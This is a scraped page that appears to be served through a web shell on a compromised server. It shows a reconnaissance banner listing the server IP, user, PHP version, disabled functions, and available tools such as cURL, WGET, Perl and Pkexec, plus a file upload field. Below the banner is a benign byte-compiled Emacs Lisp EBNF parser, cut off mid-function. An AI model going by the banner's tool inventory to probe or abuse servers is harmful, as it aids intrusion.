| Server IP : 217.160.0.212 / Your IP : 216.73.217.152 Web Server : Apache System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64 User : sws1073854427 ( 1073854427) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /usr/share/emacs/28.2/lisp/progmodes/ |
Upload File : |
;ELC ;;; Compiled ;;; in Emacs version 28.2 ;;; with all optimizations. (require 'ebnf-otz) #@44 Value returned by `ebnf-bnf-lex' function. (defvar ebnf-bnf-lex nil (#$ . 104)) #@26 EBNF parser. (fn START) (defalias 'ebnf-bnf-parser #[257 "ZTS`\302\211\211b\210\303 \262\304=\203 \305\306!\210\304=\204P \307`Z\310_\245\311\312 \"\"\266\313!\262A\262@\262\314!\204 \211B\262\202 b\210\207" [ebnf-limit ebnf-message-float nil ebnf-bnf-lex end-of-input error "Invalid EBNF file format" "Parsing...%s%%" 100.0 message format ebnf-production ebnf-add-empty-rule-list] 14 (#$ . 190)]) #@14 (fn TOKEN) (defalias 'ebnf-production #[257 " \302\211\303=\204 \304\305!\210\300 \306=\204 \304\307!\210\310 \262\211@\311=\204) \304\312!\210\211A\262\313!\210\300 \314#B\207" [ebnf-bnf-lex ebnf-action nil non-terminal error "Invalid header production" equal "Invalid production: missing `='" ebnf-body period "Invalid production: missing `.'" ebnf-eps-add-production ebnf-make-production] 9 (#$ . 624)]) (defalias 'ebnf-body #[0 "\300\211\301 \211\262@\302=\203 \211A\262\211B\262\202 \303\"\207" [nil ebnf-sequence alternative ebnf-token-alternative] 5]) (defalias 'ebnf-sequence #[0 "\300 \301\211\302!\262\211@\262\211A\211\262\203 \211B\262\202 \303!B\207" [ebnf-bnf-lex nil ebnf-exception ebnf-token-sequence] 6]) #@14 (fn TOKEN) (defalias 'ebnf-exception #[257 "\300!\211@\301=\204 \207\300\302 !\303A!\210\304A\"\207" [ebnf-repeat except ebnf-bnf-lex ebnf-no-non-terminal ebnf-token-except] 6 (#$ . 1383)]) #@13 (fn NODE) (defalias 'ebnf-no-non-terminal #[257 "\300!\205N \211\301H\211\302\267\202K \303\304!\202L \305\306H!\202L \305\307H!\202L \305\307H!\210\305\306H!\202L \307H\211\205F \305@!\210\211A\262\2026 \262\202L \310\262\207" [vectorp 0 #s(hash-table size 8 test eq rehash-size 1.5 rehash-threshold 0.8125 purecopy t data (ebnf-generate-non-terminal 15 ebnf-generate-repeat 21 ebnf-generate-optional 29 ebnf-generate-except 29 ebnf-generate-one-or-more 37 ebnf-generate-zero-or-more 37 ebnf-generate-alternative 51 ebnf-generate-sequence 51)) error "Exception sequence should not contain a non-terminal" ebnf-no-non-terminal 7 6 nil] 5 (#$ . 1586)]) #@14 (fn TOKEN) (defalias 'ebnf-repeat #[257 "\211\301=\204\n \302!\207\303\300 \304=\204 \305\306!\210\300 \262\301=\203( \262\300 \262\307\302!#\207" [ebnf-bnf-lex integer ebnf-term nil repeat error "Missing `*'" ebnf-token-repeat] 7 (#$ . 2256)]) #@14 (fn TOKEN) (defalias 'ebnf-term #[257 "\300!\211\203 \301 \262\302\267\202Z \301 \2051 \303H\211\304\267\202+ \202/ \305C!\202/ \306C!\262B\207\301 \262\300!\211\203F \206D \307 \262\211\203O \301 \202P \205X \306\"B\207B\207" [ebnf-factor ebnf-bnf-lex #s(hash-table size 2 test eq rehash-size 1.5 rehash-threshold 0.8125 purecopy t data (one-or-more 17 list 51)) 0 #s(hash-table size 3 test eq rehash-size 1.5 rehash-threshold 0.8125 purecopy t data (ebnf-generate-zero-or-more 32 ebnf-generate-one-or-more 32 ebnf-generate-optional 36)) ebnf-make-zero-or-more ebnf-make-one-or-more ebnf-make-empty] 7 (#$ . 2520)]) #@14 (fn TOKEN) (defalias 'ebnf-factor #[257 "\211\301\267\202a \302!\207\303!\207\304!\207\305 \211@\306=\204 \307\310!\210\211A\207\305 \211@\311=\204/ \307\312!\210\313A!\207\305 \211@A\314\315=\203M \305 \262@\262A\262\316\267\202] \317\"\207\320\"\207\307\321!\207\314\207" [ebnf-bnf-lex #s(hash-table size 6 test eq rehash-size 1.5 rehash-threshold 0.8125 purecopy t data (terminal 6 non-terminal 10 special 14 begin-group 18 begin-optional 34 begin-list 52)) ebnf-make-terminal ebnf-make-non-terminal ebnf-make-special ebnf-body end-group error "Missing `)'" end-optional "Missing `]'" ebnf-token-optional nil list-separator #s(hash-table size 2 test eq rehash-size 1.5 rehash-threshold 0.8125 purecopy t data (end-one-or-more 83 end-zero-or-more 88)) ebnf-make-one-or-more ebnf-make-zero-or-more "Missing `}+', `}*' or `}'"] 8 (#$ . 3165)]) #@51 Vector used to map characters to a lexical token. (defconst ebnf-bnf-token-table (make-vector 256 'error) (#$ . 4034)) #@30 Initialize EBNF token table. (defalias 'ebnf-bnf-initialize #[0 "\303\211\304W\203 \305I\210\211T\262\202 \211\306W\203% \307I\210\211T\262\202 \211\310W\2037 \305I\210\211T\262\202% \311\262\211\312W\203L \305I\210\211T\262\202: \313\314I\210\315\314I\210\316\314I\210\317\314I\210\303\314I\210\320\321I\210\322\323I\210\324\325I\210\326\327I\210\330\331I\210\332\333I\210\334\335I\210\336\337I\210\340\341I\210\342\343I\210\344\345I\210\346\347I\210\350\351I\210\352\353I\210\354\355I\210\356\357I\210 \360I\210\n\361I\207" [ebnf-bnf-token-table ebnf-lex-comment-char ebnf-lex-eop-char 32 48 non-terminal 58 integer 127 160 256 11 space 10 13 9 12 form-feed 34 terminal 63 special 40 begin-group 41 end-group 42 repeat 45 except 61 equal 91 begin-optional 93 end-optional 123 begin-list 124 alternative 125 end-list 47 list 43 one-or-more 36 default comment period] 4 (#$ . 4159)]) (defconst ebnf-bnf-non-terminal-chars "!#%&'*-,0-:<>@-Z\\\\^-z~ -ÿ") #@101 Lexical analyzer for EBNF. Return a lexical token. See documentation for variable `ebnf-bnf-lex'. (defalias 'ebnf-bnf-lex #[0 "`Y\203 \306\207\307g\310V\203 \311\262\202<